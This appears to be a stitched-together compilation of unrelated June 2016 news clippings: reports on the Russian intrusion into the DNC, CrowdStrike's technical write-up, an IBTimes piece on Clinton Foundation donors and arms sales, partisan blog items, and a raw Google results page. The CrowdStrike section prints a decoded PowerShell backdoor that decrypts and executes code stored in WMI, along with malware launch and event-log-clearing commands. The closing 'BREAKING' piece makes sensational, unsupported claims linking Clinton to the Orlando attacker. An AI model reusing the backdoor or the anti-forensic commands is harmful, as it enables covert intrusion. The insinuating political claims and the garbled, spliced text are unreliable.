The firm identified two separate hacker groups, both working for the Russian government, that had infiltrated the network, said Dmitri Alperovitch, CrowdStrike co-founder and chief technology officer. The firm had analyzed other breaches by both groups over the past two years.
[U.S. suspects Russia in hack of Pentagon computer network]
One group, which CrowdStrike had dubbed Cozy Bear, had gained access last summer and was monitoring the DNC's email and chat communications, Alperovitch said.
The other, which the firm had named Fancy Bear, broke into the network in late April and targeted the opposition research files. It was this breach that set off the alarm. The hackers stole two files, Henry said. And they had access to the computers of the entire research staff '-- an average of about several dozen on any given day.
The computers contained research going back years on Trump. ''It's a huge job'' to dig into the dealings of somebody who has never run for office before, Dacey said.
CrowdStrike is not sure how the hackers got in. The firm suspects they may have targeted DNC employees with ''spearphishing'' emails. These are communications that appear legitimate '-- often made to look like they came from a colleague or someone trusted '-- but that contain links or attachments that when clicked on deploy malicious software that enables a hacker to gain access to a computer. ''But we don't have hard evidence,'' Alperovitch said.
The two groups did not appear to be working together, Alperovitch said. Fancy Bear is believed to work for the GRU, or Russia's military intelligence service, he said. CrowdStrike is less sure of whom Cozy Bear works for but thinks it might be the Federal Security Service or FSB, the country's powerful security agency, which was once headed by Putin.
[How Russian special forces are shaping the fight in Syria]
The lack of coordination is not unusual, he said. ''There's an amazing adversarial relationship'' among the Russian intelligence agencies, Alperovitch said. ''We have seen them steal assets from one another, refuse to collaborate. They're all vying for power, to sell Putin on how good they are.''
The two crews have ''superb operational tradecraft,'' he said. They often use previously unknown software bugs '-- known as ''zero-day'' vulnerabilities '-- to compromise applications. In the DNC's case, the hackers constantly switched tactics to maintain a stealthy presence inside the network and used built-in Windows tools so that they didn't have to resort to malicious code that might trigger alerts. ''They flew under the radar,'' Alperovitch said.
The two groups have hacked government agencies, tech companies, defense contractors, energy and manufacturing firms, and universities in the United States, Canada and Europe as well as in Asia, he said.
Cozy Bear, for instance, compromised the unclassified email systems of the White House, State Department and Joint Chiefs of Staff in 2014, Alperovitch said.
''This is a sophisticated foreign intelligence service with a lot of time, a lot of resources, and is interested in targeting the U.S. political system,'' Henry said. He said the DNC was not engaged in a fair fight. ''You've got ordinary citizens who are doing hand-to-hand combat with trained military officers,'' he said. ''And that's an untenable situation.''
Russia has always been a formidable foe in cyberspace, but in the past two years, ''there's been a thousand-fold increase in its espionage campaign against the West,'' said Alperovitch, who is also a senior fellow at the Atlantic Council. ''They feel under siege.''
Western sanctions, imposed after Russia's annexation of Crimea in Ukraine, have hurt the economy and led the government to increase its theft of intellectual property to limit the impact of import restrictions, he said. And Russia's growing isolation has increased the need for intelligence to understand and influence political decisions in other countries, he added.
CrowdStrike is continuing the forensic investigation, said Sussmann, the DNC lawyer. ''But at this time, it appears that no financial information or sensitive employee, donor or voter information was accessed by the Russian attackers,'' he said.
The firm has installed special software on every computer and server in the network to detect any efforts by the Russian cyberspies to break in again. ''When they get kicked out of the system,'' Henry predicted, ''they're going to try to come back in.''
Tom Hamburger contributed to this report.
Read more:
Pentagon unveils budget priority for next year: Countering Russia and China
The Putin-Trump kiss being shared around the world
Pentagon: U.S. has told Russia where U.S. special forces are in Syria
FBI wants access to Internet browser history without a warrant in terrorism and spy cases
Bears in the Midst: Intrusion into the Democratic National Committee >>
Wed, 15 Jun 2016 13:53
There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe. In all of these cases, we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks. But on rare occasions, a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers. This story is about one of those cases.
CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a suspected breach. We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network '' COZY BEAR and FANCY BEAR. We've had lots of experience with both of these actors attempting to target our customers in the past and know them well. In fact, our team considers them some of the best adversaries out of all the numerous nation-state, criminal and hacktivist/terrorist groups we encounter on a daily basis. Their tradecraft is superb, operational security second to none and the extensive usage of 'living-off-the-land' techniques enables them to easily bypass many security solutions they encounter. In particular, we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and 'access management' tradecraft '' both groups were constantly going back into the environment to change out their implants, modify persistent methods, move to new Command & Control channels and perform other tasks to try to stay ahead of being detected. Both adversaries engage in extensive political and economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian government's powerful and highly capable intelligence services.
COZY BEAR (also referred to in some industry reports as CozyDuke or APT 29) is the adversary group that last year successfully infiltrated the unclassified networks of the White House, State Department, and US Joint Chiefs of Staff. In addition to the US government, they have targeted organizations across the Defense, Energy, Extractive, Financial, Insurance, Legal, Manufacturing Media, Think Tanks, Pharmaceutical, Research and Technology industries, along with Universities. Victims have also been observed in Western Europe, Brazil, China, Japan, Mexico, New Zealand, South Korea, Turkey and Central Asian countries. COZY BEAR's preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper. Once executed on the machine, the code will deliver one of a number of sophisticated Remote Access Tools (RATs), including AdobeARM, ATI-Agent, and MiniDionis. On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a debugger, or located within a sandbox. They have extensive checks for the various security software that is installed on the system and their specific configurations. When specific versions are discovered that may cause issues for the RAT, it promptly exits. These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection, and which would cause them to deploy a different tool instead. The implants are highly configurable via encrypted configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and others. An HTTP protocol with encrypted payload is used for the Command & Control communication.
FANCY BEAR (also known as Sofacy or APT 28) is a separate Russian-based threat actor, which has been active since mid 2000s, and has been responsible for targeted intrusion campaigns against the Aerospace, Defense, Energy, Government and Media sectors. Their victims have been identified in the United States, Western Europe, Brazil, Canada, China, Georgia, Iran, Japan, Malaysia and South Korea. Extensive targeting of defense ministries and other military victims has been observed, the profile of which closely mirrors the strategic interests of the Russian government, and may indicate affiliation with Ð'Ð>>авное РазведыватеÐ>>ьное УÐÑавÐ>>ение (Main Intelligence Department) or GRU, Russia's premier military intelligence service. This adversary has a wide range of implants at their disposal, which have been developed over the course of many years and include Sofacy, X-Agent, X-Tunnel, WinIDS, Foozer and DownRange droppers, and even malware for Linux, OSX, IOS, Android and Windows Phones. This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target. Afterwards, they establish phishing sites on these domains that spoof the look and feel of the victim's web-based email services in order to steal their credentials. FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France's TV5 Monde TV station in April 2015.
At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016. We have identified no collaboration between the two actors, or even an awareness of one by the other. Instead, we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials. While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other's operations, in Russia this is not an uncommon scenario. ''Putin's Hydra: Inside Russia's Intelligence Services'', a recent paper from European Council on Foreign Relations, does an excellent job outlining the highly adversarial relationship between Russia's main intelligence services '' ФедеÑаÐ>>ьная ÐÐ>>ужба БезоÐасности (FSB), the primary domestic intelligence agency but one with also significant external collection and 'active measures' remit, ÐÐ>>ужба Ð'неÑней Разведки (SVR), the primary foreign intelligence agency, and the aforementioned GRU. Not only do they have overlapping areas of responsibility, but also rarely share intelligence and even occasionally steal sources from each other and compromise operations. Thus, it is not surprising to see them engage in intrusions against the same victim, even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations.
The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule. The Powershell backdoor is ingenious in its simplicity and power. It consists of a single obfuscated command setup to run persistently, such as:
This decodes to:
function perfCr($crTr, $data){$ret = $nulltry{$ms = New-Object System.IO.MemoryStream$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr, [System.Security.Cryptography.CryptoStreamMode]::Write)$cs.Write($data, 0, $data.Length)$cs.FlushFinalBlock()$ret = $ms.ToArray()$cs.Close()$ms.Close()}catch{}return $ret}function decrAes($encData, $key, $iv){$ret = $nulltry{$prov = New-Object System.Security.Cryptography.RijndaelManaged$prov.Key = $key$prov.IV = $iv$decr = $prov.CreateDecryptor($prov.Key, $prov.IV)$ret = perfCr $decr $encData}Catch{}return $ret}function sWP($cN, $pN, $aK, $aI){if($cN -eq $null -or $pN -eq $null){return $false}try{$wp = ([wmiclass]$cN).Properties[$pN].Value$exEn = [Convert]::FromBase64String($wp)$exDec = decrAes $exEn $aK $aI$ex = [Text.Encoding]::UTF8.GetString($exDec)if($ex -eq $null -or $ex -eq ''){return}Invoke-Expression $exreturn $true}catch{return $false}}$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00)$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67)sWP 'Wmi' 'Wmi' $aeK $aeI | Out-Null
This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory. In theory, the additional modules can do virtually anything on the victim system. The encryption keys in the script were different on every system. Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as:
rundll32.exe ''C:\Windows\twain_64.dll''
In addition, FANCY BEAR's X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands. Both tools were deployed via RemCOM, an open-source replacement for PsExec available from GitHub. They also engaged in a number of anti-forensic analysis measures, such as periodic event log clearing (via wevtutil cl System and wevtutil cl Security commands) and resetting timestamps of files.
Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors. Regardless of the agency or unit tasked with this collection, the upcoming US election, and the associated candidates and parties are of critical interest to both hostile and friendly nation states. The 2016 presidential election has the world's attention, and leaders of other states are anxiously watching and planning for possible outcomes. Attacks against electoral candidates and the parties they represent are likely to continue up until the election in November.
Indicators of Compromise:
IOCAdversaryIOC TypeAdditional Info6c1bce76f4d2358656132b6b1d471571820688ccdbaca0d86d0ca082b9390536COZY BEARSHA256pagemgr.exe (SeaDaddy implant)b101cd29e18a515753409ae86ce68a4cedbe0d640d385eb24b9bbb69cf8186aeCOZY BEARSHA256pagemgr.exe(SeaDaddy implant)
185[.]100[.]84[.]134:443COZY BEARC2SeaDaddy implant C258[.]49[.]58[.]58:443COZY BEARC2SeaDaddy implant C2218[.]1[.]98[.]203:80COZY BEARC2Powershell implant C2187[.]33[.]33[.]8:80COZY BEARC2Powershell implant C2fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5FANCY BEARSHA256twain_64.dll(64-bit X-Agent implant)
4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976FANCY BEARSHA256VmUpgradeHelper.exe (X-Tunnel implant)40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784fFANCY BEARSHA256VmUpgradeHelper.exe(X-Tunnel implant)
185[.]86[.]148[.]227:443FANCY BEARC2X-Agent implant C245[.]32[.]129[.]185:443FANCY BEARC2X-Tunnel implant C223[.]227[.]196[.]217:443FANCY BEARC2X-Tunnel implant C2
Clinton Foundation Donors Got Weapons Deals From Hillary Clinton's State Department
Wed, 15 Jun 2016 12:38
Even by the standards of arms deals between the United States and Saudi Arabia, this one was enormous. A consortium of American defense contractors led by Boeing would deliver $29 billion worth of advanced fighter jets to the United States' oil-rich ally in the Middle East.
Israeli officials wereagitated, reportedly complaining to the Obama administration that this substantial enhancement to Saudi air power risked disrupting the region's fragile balance of power. The deal appeared to collide with the State Department's documented concerns about the repressive policies of the Saudi royal family.
But now, in late 2011, Hillary Clinton's State Department was formally clearing the sale, asserting that it was in the national interest. At press conferences in Washington to announce the department's approval, an assistant secretary of state, Andrew Shapiro,declared that the deal had been ''a top priority'' for Clinton personally. Shapiro, a longtime aide to Clinton since her Senate days, added that the ''U.S. Air Force and U.S. Army have excellent relationships in Saudi Arabia.''
These were not the only relationships bridging leaders of the two nations. In the years before Hillary Clinton became secretary of state, the Kingdom of Saudi Arabia contributed at least $10 million to the Clinton Foundation, the philanthropic enterprise she has overseen with her husband, former president Bill Clinton. Just two months before the deal was finalized, Boeing -- the defense contractor that manufactures one of the fighter jets the Saudis were especially keen to acquire, the F-15 --contributed $900,000 to the Clinton Foundation, according to a company press release.
The Saudi deal was one of dozens of arms sales approved by Hillary Clinton's State Department that placed weapons in the hands of governments that had also donated money to the Clinton family philanthropic empire, an International Business Times investigation has found.
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Under Clinton's leadership, the State Department approved $165 billion worth of commercial arms sales to 20 nations whose governments have given money to the Clinton Foundation, according to an IBTimes analysis of State Department and foundation data. That figure -- derived from the three full fiscal years of Clinton's term as Secretary of State (from October 2010 to September 2012) -- represented nearly double the value of American arms sales made to the those countries and approved by the State Department during the same period of President George W. Bush's second term.
The Clinton-led State Department also authorized $151 billion of separate Pentagon-brokered deals for 16 of the countries that donated to the Clinton Foundation, resulting in a 143 percent increase incompleted sales to those nations over the same time frame during the Bush administration. These extra sales were part of a broad increase in American military exports that accompanied Obama's arrival in the White House. The 143 percent increase in U.S. arms sales to Clinton Foundation donors compares to an 80 percent increase in such sales to all countries over the same time period.
American defense contractors also donated to the Clinton Foundation while Hillary Clinton was secretary of state and in some cases made personal payments to Bill Clinton for speaking engagements. Such firms and their subsidiaries were listed as contractors in $163 billion worth of Pentagon-negotiated deals that were authorized by the Clinton State Department between 2009 and 2012.
The State Department formally approved these arms sales even as many of the deals enhanced the military power of countries ruled by authoritarian regimes whose human rights abuses had been criticized by the department.Algeria, Saudi Arabia, Kuwait, the United Arab Emirates, Oman and Qatar all donated to the Clinton Foundation and also gained State Department clearance to buy caches of American-made weapons even as the department singled them out for a range of alleged ills, from corruption to restrictions on civil liberties to violent crackdowns against political opponents.
As secretary of state, Hillary Clinton also accused some of these countries of failing to marshal a serious and sustained campaign to confront terrorism. In a December 2009State Department cable published by Wikileaks, Clinton complained of ''an ongoing challenge to persuade Saudi officials to treat terrorist financing emanating from Saudi Arabia as a strategic priority.'' She declared that ''Qatar's overall level of CT cooperation with the U.S. is considered the worst in the region.'' She said the Kuwaiti government was ''less inclined to take action against Kuwait-based financiers and facilitators plotting attacks.'' She noted that ''UAE-based donors have provided financial support to a variety of terrorist groups.'' All of these countries donated to the Clinton Foundation and received increased weapons export authorizations from the Clinton-run State Department.
Hillary Clinton's presidential campaign and the Clinton Foundation did not respond to questions from the IBTimes.
In all, governments and corporations involved in the arms deals approved by Clinton's State Department have delivered between $54 million and $141 million to the Clinton Foundation as well as hundreds of thousands of dollars in payments to the Clinton family, according to foundation and State Department records. The Clinton Foundation publishes only a rough range of individual contributors' donations, making a more precise accounting impossible.
Winning Friends, Influencing Clintons
Under federal law, foreign governments seeking State Department clearance to buy American-made arms are barred from making campaign contributions -- a prohibition aimed at preventing foreign interests from using cash to influence national security policy. But nothing prevents them from contributing to a philanthropic foundation controlled by policymakers.
Just before Hillary Clinton became Secretary of State, the Clinton Foundation signed anagreement generally obligating it to disclose to the State Department increases in contributions from its existing foreign government donors and any new foreign government donors. Those increases were to be reviewed by an official at the State Department and ''as appropriate'' the White House counsel's office. According to available disclosures, officials at the State Department and White House raised no issues about potential conflicts related to arms sales.
During Hillary Clinton's 2009 Senate confirmation hearings, Sen. Richard Lugar, R-Ind., urged the Clinton Foundation to ''forswear'' accepting contributions from governments abroad. ''Foreign governments and entities may perceive the Clinton Foundation as a means to gain favor with the secretary of state,'' he said. The Clintons did not take Lugar's advice. In light of the weapons deals flowing to Clinton Foundation donors, advocates for limits on the influence of money on government action now argue that Lugar was prescient in his concerns.
''The word was out to these groups that one of the best ways to gain access and influence with the Clintons was to give to this foundation,'' said Meredith McGehee, policy director at the Campaign Legal Center, an advocacy group that seeks to tighten campaign finance disclosure rules. ''This shows why having public officials, or even spouses of public officials, connected with these nonprofits is problematic.''
Hillary Clinton's willingness to allow those with business before the State Department to finance her foundation heightens concerns about how she would manage such relationships as president, said Lawrence Lessig, the director of Harvard University's Safra Center for Ethics.
''These continuing revelations raise a fundamental question of judgment,'' Lessig told IBTimes. ''Can it really be that the Clintons didn't recognize the questions these transactions would raise? And if they did, what does that say about their sense of the appropriate relationship between private gain and public good?''
National security experts assert that the overlap between the list of Clinton Foundation donors and those with business before the the State Department presents a troubling conflict of interest.
While governments and defense contractors may not have made donations to the Clinton Foundation exclusively to influence arms deals, they were clearly ''looking to build up deposits in the 'favor bank' and to be well thought of,'' said Gregory Suchan, a 34-year State Department veteran who helped lead the agency's oversight of arms transfers under the Bush administration.
As Hillary Clinton presses a campaign for the presidency, she has confronted sustained scrutiny into her family's personal and philanthropic dealings, along with questions about whether their private business interests have colored her exercise of public authority. As IBTimes previouslyreported, Clinton switched from opposing an American free trade agreement with Colombia to supporting it after a Canadian energy and mining magnate with interests in that South American country contributed to the Clinton Foundation. IBTimes' review of the Clintons' annual financial disclosures also revealed that 13 companies lobbying the State Department paid Bill Clinton $2.5 million in speaking fees while Hillary Clinton headed the agency.
Questions about the nexus of arms sales and Clinton Foundation donors stem from the State Department's role in reviewing the export of American-made weapons. The agency is charged with both licensing direct commercial sales by U.S. defense contractors to foreign governments and alsoapproving Pentagon-brokered sales to those governments. Those powers are enshrined in a federal law that specifically designates the secretary of state as ''responsible for the continuous supervision and general direction of sales'' of arms, military hardware and services to foreign countries. In that role, Hillary Clinton was empowered to approve or reject deals for a broad range of reasons, from national security considerations to human rights concerns.
The State Department does not disclose which individual companies are involved in direct commercial sales, but its disclosure documents reveal that countries that donated to the Clinton Foundation saw a combined $75 billion increase in authorized commercial military sales under the three full fiscal years Clinton served, as compared to the first three full fiscal years of Bush's second term.
The Clinton Foundation has not released an exact timetable of its donations, making it impossible to know whether money from foreign governments and defense contractors came into the organization before or after Hillary Clinton approved weapons deals that involved their interests. Butnews reports document that at least seven foreign governments that received State Department clearance for American arms did donate to the Clinton Foundation while Hillary Clinton was serving as secretary: Algeria, Oman, Qatar, Kuwait, Thailand, Norway and Australia.
Sales Flowed Despite Human Rights Concerns
Under a presidential policy directivesigned by President Bill Clinton in 1995, the State Department is supposed to specifically take human rights records into account when deciding whether to approve licenses enabling foreign governments to purchase military equipment and services from American companies. Despite this, Hillary Clinton's State Department increased approvals of such sales to nations that her agency sharply criticized for systematic human rights abuses.
In its2010 Human Rights Report, Clinton's State Department inveighed against Algeria's government for imposing ''restrictions on freedom of assembly and association'' tolerating ''arbitrary killing,'' ''widespread corruption,'' and a ''lack of judicial independence.'' The report said the Algerian government ''used security grounds to constrain freedom of expression and movement.''
That year, the Algerian governmentdonated $500,000 to the Clinton Foundation and its lobbyists met with the State Department officials who oversee enforcement of human rights policies. Clinton's State Department the next year approved a one-year 70 percent increase in military export authorizations to the country. The increase included authorizations of almost 50,000 items classified as ''toxicological agents, including chemical agents, biological agents and associated equipment'' after the State Department did not authorize the export of any of such items to Algeria in the prior year.
During Clinton's tenure, the State Department authorized at least $2.4 billion of direct military hardware and services sales to Algeria -- nearly triple such authorizations over the last full fiscal years during the Bush administration. The Clinton Foundation did not disclose Algeria's donation until this year -- a violation of the ethics agreement it entered into with the Obama administration.
The monarchy in Qatar had similarly beenchastised by the State Department for a raft of human rights abuses. But that country donated to the Clinton Foundation while Hillary Clinton was running the State Department. During the three full budgetary years of her tenure, Qatar saw a 14-fold increase in State Department authorizations for direct commercial sales of military equipment and services, as compared to the same time period in Bush's second term. The department also approved the Pentagon's separate $750 million sale of multi-mission helicopters to Qatar. That deal would additionally employ as contractors three companies that have all supported the Clinton Foundation over the years: United Technologies, Lockheed Martin and General Electric.
Clinton foundation donor countries that the State Department criticized for human rights violations and that received weapons export authorizations did not respond to IBTimes' questions.
That group of arms manufacturers -- along with Clinton Foundation donors Boeing, Honeywell, Hawker Beechcraft and their affiliates -- were together listed as contractors in 114 such deals while Clinton was secretary of state. NBC put Chelsea Clintonon its payroll as a network correspondent in November 2011, when it was still 49 percent owned by General Electric. A spokesperson for General Electric did not respond to questions from IBTimes.
The other companies all asserted that their donations had nothing to do with the arms export deals.
''Our contributions have aligned with our longstanding philanthropic commitments,'' said Honeywell spokesperson Rob Ferris.
"Even The Appearance Of A Conflict"
During her Senate confirmation proceedings in 2009, Hillary Clintondeclared that she and her husband were ''committed to ensuring that his work does not present a conflict of interest with the duties of Secretary of State.'' She pledged ''to protect against even the appearance of a conflict of interest between his work and the duties of the Secretary of State'' and said that ''in many, if not most cases, it is likely that the Foundation or President Clinton will not pursue an opportunity that presents a conflict.''
Even so, Bill Clinton took in speaking fees reaching $625,000 at events sponsored by entities that were dealing with Hillary Clinton's State Department on weapons issues.
In 2011, for example, the former president was paid $175,000 by the Kuwait America Foundation to be the guest of honor and keynote speaker at its annual awards gala, which was held at the home of the Kuwaiti ambassador. Ben Affleck spoke at the event, which featured a musical performance by Grammy-award winner Michael Bolton. The gala was emceed by Joe Scarborough and Mika Brzezinski, hosts of MSNBC's Morning Joe show. Boeing waslisted as a sponsor of the event, as were the embassies of the United Arab Emirates, Saudi Arabia, Kuwait and Qatar -- the latter two of which had donated to the Clinton Foundation while Hillary Clinton was secretary of state.
The speaking fee from the Kuwait America Foundation to Bill Clinton was paidin the same time frame asa series of deals Hillary Clinton's State Department was approving between the Kuwaiti government and Boeing. Months before the gala, the Department of Defense announced that Boeing would be the prime contractor on a $693 million deal, cleared by Hillary Clinton's State Department, to provide the Kuwaiti government with military transport aircraft. A year later, a group sponsored in part by Boeing would pay Bill Clinton another $250,000 speaking fee.
''Boeing has sponsored this major travel event, the Global Business Travel Association, for several years, regardless of its invited speakers,'' Gordon Johndroe, a Boeing spokesperson, told IBTimes. Johndroe said Boeing's support for the Clinton Foundation was ''a transparent act of compassion and an investment aimed at aiding the long-term interests and hopes of the Haitian people'' following a devastating earthquake.
Boeing was one of three companies that helped deliver money personally to Bill Clinton while benefiting from weapons authorizations issued by Hillary Clinton's State Department. The others were Lockheed and the financial giant Goldman Sachs.
Lockheed is amember of the American Chamber of Commerce in Egypt, which paid Bill Clinton $250,000 to speak at an event in 2010. Three days before the speech, Hillary Clinton's State Department approvedtwo weapons export deals in which Lockheed was listed as the prime contractor. Over the course of 2010, Lockheed was a contractor on 17 Pentagon-brokered deals that won approval from the State Department. Lockheed told IBTimes that its support for the Clinton Foundation started in 2010, while Hillary Clinton was secretary of state.
''Lockheed Martin has periodically supported one individual membership in the Clinton Global Initiative since 2010,'' said company spokesperson Katherine Trinidad. ''Membership benefits included attendance at CGI annual meetings, where we participated in working groups focused on STEM, workforce development and advanced manufacturing.''
In April 2011, Goldman Sachs paid Bill Clinton $200,000 to speak to ''approximately 250 high level clients and investors'' in New York, according to State Departmentrecords obtained by Judicial Watch. Two months later, the State Department approved a $675 million foreign military sale involving Hawker Beechcraft -- a company that was then part-owned by Goldman Sachs. As part of the deal, Hawker Beechcraft would provide support to the government of Iraq to maintain a fleet of aircraft used for intelligence, surveillance and reconnaissance missions. Goldman Sachs has also contributed at least $250,000 to the Clinton Foundation, according to donation records.
''There is absolutely no connection among all the points that you have raised regarding our firm,'' said Andrew Williams, a spokesperson for Goldman Sachs.
Federal records show that ethics staffers at the State Department approved the payments to Bill Clinton from Goldman Sachs, and the Lockheed- and Boeing-sponsored groups without objection, even though the firms had major stakes in the agency's weapons export decisions.
Stephen Walt, a Harvard University professor of international affairs, told IBTimes that the intertwining financial relationships between the Clintons, defense contractors and foreign governments seeking weapons approvals is ''a vivid example of a very big problem -- the degree to which conflicts of interest have become endemic.''
''It has troubled me all along that the Clinton Foundation was not being more scrupulous about who it would take money from and who it wouldn't,'' he said. ''American foreign policy is better served if people responsible for it are not even remotely suspected of having these conflicts of interest. When George Marshall was secretary of state, nobody was worried about whether or not he would be distracted by donations to a foundation or to himself. This wasn't an issue. And that was probably better.''
UPDATE (7:38pm, 5/26/15): In an emailed statement, a spokeswoman for the Taipei Economic and Cultural Representative Office told IBTimes: "Taiwan's 2003 donation was for the fund to build the Clinton Presidential Library. This was way before Mrs. Clinton was made the U.S. Secretary of State. We have neither knowledge nor comments concerning other issues."
This story has been updated to include an additional link to a 2010 State Department press conference about the U.S.-Saudi Arabia arms deal.
Campus Police Cancel Milo Event At UCF, Can't Guarantee Safety - Breitbart
Wed, 15 Jun 2016 06:47
It is no longer safe for a gay man to give a talk on an American university campus.That's the message we're left with today, after campus police at the University Of Central Florida, Orlando, cancelled a scheduled event with Breitbart Tech editor Milo Yiannopoulos following threats of violence on social media.
Brett Meade, Deputy Chief of Police at UCF said he made an executive decision to postpone the event due to lack of resources to assure Milo's security.
They have 70 officers deployed for tonight's vigil at the university and ''cannot guarantee focus'' on anything but that event.
Meade provided Milo's tour manager, Tim Treadstone, with a folder of threats made against the Breitbart Tech editor on social media.
Milo's team is in touch with the police department, and have been assured that adequate protection can be provided on an alternate day of the week. Breitbart will be provided with private security if necessary, to ensure the event can go ahead.
In a comment, Milo said ''I came to America to avoid the wave of Islamisation and the limp-wristed response from journalists and politicians to Islamist thugs threatening gays, women and others. We won't be silenced.
''A press conference will proceed tomorrow no matter what, whether or not the local police can guarantee my safety.''
Hacked Texas Billboards Target Both Donald Trump And Hillary Clinton | Zero Hedge
Wed, 15 Jun 2016 02:13
Submitted by Mike Krieger via Liberty Blitzkrieg blog,
A group calling itself New World Hackers has been taking over billboards along Interstate 30 in Dallas. Like myself, the group seems to dislike both the Democratic and Republican candidates for President, Donald Trump and Hillary Clinton.
Newsweek reports:
Electronic road signs in Texas have been targeted by hackers with messages against presidential candidates Donald Trump and Hillary Clinton.
Signs on Interstate 30 were changed over recent weeks to read ''Donald Trump is a shape shifting lizard,'' ''Hillary for prison,'' and ''Free Barrett Brown.'' A group of hackers called New World Hackers, who have previously targeted the website of Trump, claimed responsibility.
''As we stated earlier in the past'... Trump is a little bitch,'' a member of the group tells Newsweek. ''Hillary is worse. Barrett Brown is a legend. Hillary should be in prison for her actions most definitely.''
Here's what they looked like:
What Newsweek failed to mention is the hackers seem to have a favorite candidate '-- Bernie Sanders. Here's what another sign looked like:
Finally, I'd be remiss not to mention another sign displaying support for political prisoner, Texan and one of the most gifted writers in American, Barrett Brown. If you aren't familiar with Barrett's story, I've covered it on multiple occasions. See:
Barrett Brown: A Jailed American Dissident
Oligarch Justice '' Powerful Pedophiles Roam Free as Journalist Barrett Brown Returns to Jail
Political Prisoner Barrett Brown to Be Sentenced Tomorrow '' Why the Result Matters to Freedom in America
Rolling Stone Profiles Barrett Brown: Journalist, Activist and American Political Prisoner
federal reserve banking regulation daniel tarullo - Google Search
Wed, 15 Jun 2016 01:17
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FRB: Speech--Tarullo, Shared Responsibility for the Regulation of ...https://www.federalreserve.gov/.../tarullo201511...Nov 5, 2015 - Governor Daniel K. Tarullo ... Banking Conference, sponsored by the Federal Reserve Bank of Chicago and the World Bank, Chicago, Illinois ... The regulation of international banking reflects this general pattern, but because ...Daniel K. Tarullo News - The New York Timestopics.nytimes.com/top/.../daniel...tarullo/index.htm...Daniel Tarullo, a Fed governor, said it was likely that banks would have to have ... Federal Reserve Approves Capital Restraints for Big Banks. By PETER EAVIS. Under the regulations, the banks with the biggest Wall Street operations have to ...Fed Governors Signal Bigger Bank Capital Requirements Looming ...www.wsj.com/.../feds-tarullo-warns-banks-of-signifi...Jun 2, 2016 -Federal Reserve officials strongly signaled they will be toughening ... Fed governors Daniel Tarullo and Jerome Powell, in separate .... But it also means banks are constantly trying to adjust to a shifting regulatory environment.Daniel Tarullo - Wikipedia, the free encyclopediahttps://en.wikipedia.org/wiki/Daniel_TarulloDaniel K. Tarullo (born November 1952) is a member of the Board of Governors of the United States Federal Reserve Board since January 28, ... He specializes in international economic regulation, banking law, and international law.My AccountSearchMapsYouTubePlayNewsGmailDriveCalendarGoogle+TranslatePhotosMoreShoppingWalletFinanceDocsBooksBloggerContactsHangoutsEven more from Google
BREAKING: Hillary Clinton's Connection To Orlando Terrorist Has Been EXPOSED!
Tue, 14 Jun 2016 22:31
News just leaked out about Democrat Presidential candidate Hillary Clinton that she doesn't want you to know. We're now learning about her close connection to the Islamic terrorist in Orlando Florida, Omar Mateen. While serving in the Obama administration, Hillary Clinton worked closely with the President to defend Islamists from critics, and it just back fired.
Recently retired Department of Homeland Security (DHS) agent Philip Haney reports that the mosque Mateen attended several times every week is the same mosque protected by Hillary's State Department after the Islamic terrorist attack in San Bernardino, California by Syed Farook and Tashfeen Malik.
Haney's case on the mosque drew concern from Hillary's State Department and the DHS's Civil Rights and Liberties Office because they believed it unfairly singled out Muslims. His report was heavily edited and scrubbed by the State Department, and no action was taken to shut down the mosque:
As a member of one of the National Targeting Center's advanced units, Haney helped develop a case in 2011 on a worldwide Islamic movement known as Tablighi Jamaat, as he recounts in his new book ''See Something, Say Nothing: A Homeland Security Officer Exposes the Government's Submission to Jihad.'' Within a few months, the case drew the ''concern'' of the State Department and the DHS's Civil Rights and Civil Liberties Office because the Obama administration believed it unfairly singled out Muslims. The intelligence, however, had been used to connect members of the movement to several terrorist organizations and financing at the highest levels, including for Hamas and al-Qaida.
